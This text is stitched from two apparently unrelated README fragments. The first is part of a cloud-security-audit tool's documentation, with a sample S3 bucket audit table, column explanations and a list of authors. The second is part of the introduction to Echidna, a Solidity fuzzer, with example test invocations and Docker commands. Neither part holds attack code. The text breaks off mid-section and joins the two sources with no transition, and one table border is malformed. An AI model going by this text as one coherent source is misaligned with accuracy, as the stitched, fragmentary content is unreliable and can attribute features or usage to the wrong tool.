5. Fifth column EC2 TAGS contains tags of a given EC2 instance to help you identify purpose of this instance.

1. https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html

$ cloud-security-audit --service s3

+------------------------------+---------+---------+-------------+------------+
|          BUCKET NAME         | DEFAULT | LOGGING |     ACL     |  POLICY    |
|                              |         |         |             |            |
|                              |   SSE   | ENABLED |  IS PUBLIC  | IS PUBLIC  |
|                              |         |         |             |            |
|                              |         |         |  R - READ   |  R - READ  |
|                              |         |         |             |            |
|                              |         |         |  W - WRITE  | W - WRITE  |
|                              |         |         |             |            |
|                              |         |         | D - DELETE  | D - DELETE |
+------------------------------+---------+---------+-------------+------------+
| bucket1                      | NONE    | true    | false       | false      |
+------------------------------+---------+---------+-------------+------------+
| bucket2                      | DKMS    | false   | false       | true [R]   |
+------------------------------+---------+---------+-------------+------------+
| bucket3                      | AES256  | false   | true [RWD]  | false      |
+--------------------------- --+---------+---------+-------------+------------+

1. First column BUCKET NAME contains names of the s3 buckets.
2. Second column DEFAULT SSE gives you information on which default type of server side encryption was used in your S3 bucket:

• NONE - Default SSE not enabled.
• DKMS - Default SSE enabled, AWS KMS Key used to encrypt data.
• AES256 - Default SSE enabled, AES256.

3. Third column LOGGING ENABLED contains information if Server access logging was enabled for a given S3 bucket. This provides detailed records for the requests that are made to an S3 bucket. More information about Server Access Logging can be found here
4. Fourth column ACL IS PUBLIC provides information if ACL (Access Control List) contains permissions, that make the bucket public (allow read/writes for anyone). More information about ACLs here
5. Fifth column POLICY IS PUBLIC contains information if bucket's policy allows any action (read/write) for an anonymous user. More about bucket policies here R, W and D letters describe what type of action is available for everyone.

1. https://docs.aws.amazon.com/AmazonS3/latest/dev/serv-side-encryption.html
2. https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerLogs.html
3. https://docs.aws.amazon.com/AmazonS3/latest/user-guide/server-access-logging.html

• Michał Połcik
• Maksymilian Wojczuk
• Piotr Figwer
• Sylwia Gargula
• Mateusz Piwowarczyk

• Generates inputs tailored to your actual code
• Optional coverage guidance to find deeper bugs
• Automatic testcase minimization for quick triage
• Seamless integration into the development workflow
• Fast
• Powerful API for advanced usage
• Beautiful logo

function echidna_check_balance() { 
    return(balance >= 20); 
}

$ echidna-test myContract.sol

$ echidna-test examples/solidity/basic/flags.sol

$ echidna-test contract.sol TEST --config="config.yaml"

$ docker build -t echidna .

$ docker run -t -v `pwd`:/src echidna echidna-test /src/examples/solidity/basic/flags.sol

• Get started by reviewing these simple Echidna invariants
  
• Review the Solidity examples directory for more extensive Echidna use cases
  
• Considering emailing the Echidna development team directly for more detailed questions